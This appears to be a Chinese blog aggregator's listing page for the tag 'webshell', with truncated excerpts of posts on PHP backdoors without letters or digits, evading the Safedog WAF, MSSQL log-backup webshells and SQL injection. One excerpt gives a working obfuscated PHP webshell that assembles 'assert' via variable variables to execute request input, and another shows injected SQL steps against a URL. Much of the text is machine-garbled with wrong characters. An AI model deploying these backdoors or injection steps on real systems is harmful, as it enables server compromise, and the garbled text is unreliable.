关于：webshellの话题！

记一次拿webshell踩过的坑(如何用PHP编写一个不包含数字和字母的后门)

• 年ilovehim 发布于 2021-10-04 23:35
• 收藏 一个 如何 数字 编写 一次 webshell 包含 字母 后门

0x0一 媒介比来正在作代码审计的工做外逢到了1个易题，标题形容如高：<?phpinclude 'flag.php';if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>四0){die("Long.");}if(preg_match("/[A-Za-z0⑼]+/",$code)){die("NO.");}@eval($..

webshell安全狗免杀(一)

• 卍MONK。 发布于 2021-10-05 02:16
• 收藏 2020 webshell 安全 shell 免杀

webshell安全狗免杀（三）

• 往兮空残梦 发布于 2021-10-05 02:16
• 收藏 2020 webshell 安全 shell 免杀

webshell安全狗免杀(二)

• 陌上﹏烟雨瑶 发布于 2021-10-05 02:16
• 收藏 webshell 免杀 安全

有1段php代码:<?php$h='f';$$h=$_REQUEST['x'];//$$h能够了解为先解析后边那个$h，而后正在入止解析，终极解析成为$f$d='CHECK';$$d='ass';$$d=$CHECK.'ert';$CHECK($f);?>本理:参数f赋值给$h,$$h解析后为$f = $_REQUEST['x'];参数'CHECK'赋值给变..

MSSQL 2005 LOG备份webshell的方法

• 妙手秀才 发布于 2008-06-14 11:14
• 收藏 MSSQL 2005 LOG webshell

注:转载就注入出自'孤孤浪子博客'原创 http://itpro.blog.163.com 第一步 http://itpro.blog.163.com/test.asp';alter/**/database/**/[netwebhome]/**/set/**/recovery/**/full[/url]-- 第二步： http://itpro.blog.163.com/test.asp';declare/**/..

浅谈一次与sql注入 & webshell 的美丽“邂逅”

• 早知是梦 发布于 2019-02-26 15:54
• 收藏 sql注入 sql注入 webshell

引言一波未平，一波又起。金融公司的业务实在是太引人耳目，何况我们公司的业处正处于风口之上（区块链金融），并且每天有大量现金交易，所以不知道有多少躲在暗处一直在盯着你的系统，让你防不胜防，并且想方设法的找到突破点，以达到的目的来获取..